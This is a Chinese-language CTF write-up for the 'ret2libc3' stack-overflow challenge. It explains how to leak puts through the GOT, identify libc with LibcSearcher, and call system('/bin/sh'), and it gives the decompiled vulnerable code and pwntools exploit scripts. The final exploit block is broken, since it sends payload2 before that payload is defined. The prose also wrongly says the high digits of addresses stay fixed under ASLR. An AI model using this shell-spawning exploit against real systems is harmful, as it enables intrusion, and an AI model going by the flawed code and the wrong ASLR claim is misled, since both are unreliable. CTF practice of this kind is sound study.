retlibc思路

程序内不存在System函数和/bin/sh字符串, 需要通过libc来实现反弹shell

  • 泄露libc版本
  • 获取libc的基地址
  • 获取system地址和bin/sh地址

通过libc反弹shell的原理:程序在运行的时候会载入libc,libc里会有很多函数包括system/bin/sh字符串,因为程序在开启随机地址的时候,函数的高三位是不会变的,就可以通过输出函数的地址,泄露地址的高三位判断是那个版本的libc, 然后从泄露的libc找到(puts)函数减去泄露地址的(puts)函数得到libc的基地址,得到libc的基地址就可以找到system函数和/bin/sh字符串。

ret2libc3源码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No surprise anymore, system disappeard QQ.");
  printf("Can you find it !?");
  gets(s);
  return 0;
}

栈溢出漏洞但是,在IDA里没有system函数和/bin/sh字符串,要想拿shell需要通过泄露libc,从libc里找到system/bin/sh

解题思路

在Ubuntu 16 安装LibcSearcher 解出这道题,Ubuntu 20安装LibcSearcher都是坑。 通过栈溢出泄露libc的地址,使用 r.recv(4)接收地址。

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start_addr = elf.symbols['_start']

payload1 = "a"*112+p32(puts_plt)+p32(start_addr)+p32(puts_got)
r.sendlineafter("!?", payload1)
puts_addr =  u32(r.recv(4))

这个是通过接收到的puts_addr放进LibcSearcher函数,第一个参数选要找的函数, 第二个放入地址 就可以得到libc版本地址

libc = LibcSearcher('puts', puts_addr)
libcbase = puts_addr  - libc.dump('puts') # libc的puts减去接收到的puts_addr 得到libc的基地址
system_addr = libcbase +  libc.dump("system") # 获得地址
binsh_addr = libcbase + libc.dump("str_bin_sh") # 获得地址
payload2 = 'a'*112+p32(system_addr)+'aaaa'+p32(binsh_addr)
r.sendlineafter("!?", payload2)

Exp

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start_addr = elf.symbols['_start']

payload1 = "a"*112+p32(puts_plt)+p32(start_addr)+p32(puts_got)
r.sendlineafter("!?", payload2)
puts_addr =  u32(r.recv(4))

print("puts_addr is: ",hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)
libcbase = puts_addr  - libc.dump('puts')
system_addr = libcbase +  libc.dump("system")
binsh_addr = libcbase + libc.dump("str_bin_sh")
payload2 = 'a'*112+p32(system_addr)+'aaaa'+p32(binsh_addr)
r.sendlineafter("!?", payload2)


r.interactive()